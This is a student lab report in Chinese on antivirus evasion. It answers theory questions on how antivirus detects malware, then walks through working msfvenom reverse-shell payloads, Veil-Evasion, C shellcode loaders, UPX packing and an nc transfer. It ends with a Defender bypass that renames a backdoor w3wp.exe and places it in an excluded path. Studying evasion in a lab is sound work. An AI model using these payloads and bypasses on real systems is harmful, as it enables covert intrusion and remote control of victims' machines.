网络与系统攻防实验报告
实验时间:2024-10-25 ~ 2024-10-31
实验人员:20222314陈振烨
实验地点:地下机房
指导教师:王志强
本周学习内容
学习了免杀的相关原理,掌握了msf的编码免杀基本操作,成功下载了veil加壳器并进行加壳免杀
实践内容
(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
veil,加壳工具
使用C + shellcode编程
(2)通过组合应用各种技术实现恶意代码免杀
如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。
(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
问题回答
(1)杀软是如何检测出恶意代码的?
(1)基于特征码进行检测:
杀毒软件的病毒库记录了一些恶意软件的特征码,一段特征码就是一段或多段数据,并将这些唯一的特征码建立成库,形成比对,这样的方式往往是精准的,但其却是相交滞后的。
(2)利用启发式恶意软件检测:
将一个软件与恶意软件的行为、代码等作比对,如果发现相似度达到一定程度,即判定这个程序为恶意代码,一些典型行为有如连接恶意网站、开放端口、修改系统文件、签名、结构、厂商等。
缺点:片面特征去推断,缺乏精准判定依据,存在一个概率问题;
实时监控系统行为,开销较多;没有基于特征码的精确度高。
优点:比较通用,没有滞后问题;可以0-day恶意软件。
(3)基于行为的恶意软件检测:
对运行的所有进程进行实时监控,如果有敏感行为会被认为是恶意程序,是一种动态的监测与捕捉,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描,相当于加入了行为监控的启发式。
该方法和启发式有些重叠,是加入行为的启发式检测。
(2)免杀是做什么?
一般对恶意软件做处理,让它不被杀毒软件(AV)所检测到。
(3)免杀的基本方法有哪些?
(1)子
改变特征码
如果手里只有EXE
加壳:压缩壳 加密壳(动态生成原来的文件)杀软可以检测出常用的壳了hhh Hyperion(加密壳)
有shellcode(像Meterpreter)
用encode进行编码(exp2 中meterpreter生成的那个文件)改样子,如异或啥的 其指令 -e
基于payload重新编译生成可执行文件
(shellcode是用C语言写的)C语言调用shellcode数组
有源代码
用其他语言进行重新再编译(veil-evasion)
脚本语言,一句一句执行,
(2)改变行为
通讯方式
反弹式连接
采用隧道技术
加密通讯方式
基于内存操作(往硬盘读写文件的时候,杀软会进行工作)
meterpreter就是如此工作的,其生成文件的内存很小,其在内存上运行
减少对系统的修改
加入混淆作用的正常功能代码
实验过程
(1)环境准备
免杀测试平台:
Virustotal:https://www.virustotal.com/gui/home/upload
Virscan:https://www.virscan.org/
主机与虚拟机:windows11以及kali-linux
(2)正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
- 使用msf编码器对后门程序进行一次到多次的编码,并进行检测。
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.1.114 LPORT=2314 -f exe > czy_bianma_1.exe
一次编码使用命令:-p表示payloads,-e选择编码器,-b是payload中需要去除的字符,该命令中为了使’\x00’不出现在shellcode中,因为shellcode以’\x00’为结束符。
如图所示,单次编码的效果就是依托
2. 用msfvenom生成jar文件
msfvenom -p java/shell_reverse_tcp LHOST=192.168.1.114 LPORT=2314 -f jar > jar_20222314.jar
(3)下载veil并且尝试加壳免杀
听说好多同学都在这一步遇到了问题,所以下载veil这一步我决定详细地写一下
首先进入管理员模式,然后依次执行如下命令
sudo su
dpkg --add-architecture i386
apt-get update
apt-get install wine32
apt-get install veil-evasion
#随后,在终端中输入veil,安装相关的模块(选y就好)
#中间会弹出很多可视化界面,是帮助你安装相关依赖的,全都安,不需要刻意改路径
安装到ruby1.8.7的时候全勾了吧,感觉有用
一次成功
利用加壳工具产生后门软件
use 1
list
use 7 //c/meterpreter/rev_tcp.py
set LHOST 192.168.1.114
set LPORT 2314
generate
我set的name是czy_veil_1,接下来看看免杀效果
还行,少了11个
(4)使用C + shellcode编程
使用msfvenom 得到shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.114 LPORT=2314 -f c
编译成可执行文件,i686-w64-mingw32-g++ czy_shellcode_1.c -o czy_shellcode_1.exe
更少了
目前排名:shellcode>veil加壳>单次编码
(5)通过组合应用各种技术实现恶意代码免杀
根据我丰富的经验,我决定选择python+rev_tcp+upx程序加壳
所利用的程序1:shellcode进行upx加壳后的程序
所利用的程序二:veil生成的python的tcp反弹shell脚本
veil
use evasion
list
use 28 //use python/shellcode_inject/rev_tcp.py
set LHOST 192.168.1.114
set LPORT 2314
options
generate
免杀率都挺高,那么接下来准备接下我们热血沸腾的组合技吧()
将加壳过的可执行文件czy_shellcode_upx.exe后门传送到Windows主机上
- 在Windows上监听2314端口等待接收可执行文件
czy_shellcode_upx.exe
ncat -lv 2314 >czy_shellcode_upx.exe
在Kali上将生成的czy_shellcode_upx.exe传送给Windows
nc 192.168.1.118 2314 < czy_shellcode_upx.exe
然后被杀软发现了,寄
随后是python的,但是运行时也被发现了
难道就没有办法了么?
欸,我有一计
牢烨の最终幻想
木马如何免杀?
木马绕过免杀本质上还是更改他的特征码,那么总结一下可以有
编码
加壳免杀
二次编译
分离免杀:即将ShellCode和加载器分离
目前msfvenom的encoder特征基本都进入了杀软的漏洞库,很难实现单一encoder编码而绕过杀软,所以对shellcode进行进一步修改编译成了msf免杀的主流。互联网上有很多借助于C、C#、python等语言对shellcode进行二次编码从而达到免杀的效果
备注:到这里已经失败了N次了,以上方法均尝试,但是都不行,微软自带的杀毒(也就是Miscrosoft Defender)大强大了,拼尽全力也无法战胜
但是假设,有那么一种情况下,我们绕过了这一层检测呢?
经过查询官方文档,我终于找到了
翻找 Windows 官方对 Windows Defender 的介绍,发现有这样一个目录:Configure Microsoft Defender Antivirus exclusions on Windows Server(在 Windows server 中配置defender排除项)
https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/configure-server-exclusions-microsoft-defender-antivirus?view=o365-worldwide#list-of-automatic-exclusions
简而言之就是在 Windows Server2016 和 2019 中,Windows Defender 默认存在一些排除项,在实时检测过程中会忽略这些排除项,但是主动扫描的时候不会排除。这就给 Bypass Windows Defender 提供了一个新思路。
通篇寻找可用的路径,最终发现几个 exe 路径:
路径 | 用途 |
---|---|
%systemroot%\System32\dfsr.exe | 文件复制服务 |
%systemroot%\System32\dfsrs.exe | 文件复制服务 |
%systemroot%\System32\Vmms.exe | Hyper-V 虚拟机管理 |
%systemroot%\System32\Vmwp.exe | Hyper-V 虚拟机管理 |
%systemroot%\System32\ntfrs.exe | AD DS 相关支持 |
%systemroot%\System32\lsass.exe | AD DS 相关支持 |
%systemroot%\System32\dns.exe | DNS 服务 |
%SystemRoot%\system32\inetsrv\w3wp.exe | WEB服务 |
%SystemRoot%\SysWOW64\inetsrv\w3wp.exe | WEB服务 |
%SystemDrive%\PHP5433\php-cgi.exe | php-cgi 服务 |
生成的后门文件,改名为w3wp.exe后传入windows的|%SystemRoot%\SysWOW64\inetsrv\文件夹中,到这一步,停止接收后完全没报毒,应该稳一半了
成功了!!!实验感想
最有难度的一集
从一刚开始的下载工具,到最后的尝试免杀到实现免杀,可以说是我对windows系统安全入门的全过程,再这之前我对系统安全的认知还停留在程序的层面上,现在来看我的想法不过是井底之蛙,且不说windows11的defender就已经如此强悍,如果再多一些杀毒软件是真不知道该怎么办了,目前为止成功的有单杀三大软件,以及勉强bypass win11.总体来说,收获主要在于对msf原理的理解,不再是一个纯粹的脚本小子,而是开始从攻防双方的角度去思考攻击者是如何构思payload的,也明白了防御者是如何根据特征去鉴别攻击行为的,是我大学以来收获最丰富的一次实验,酣畅淋漓的一场bypass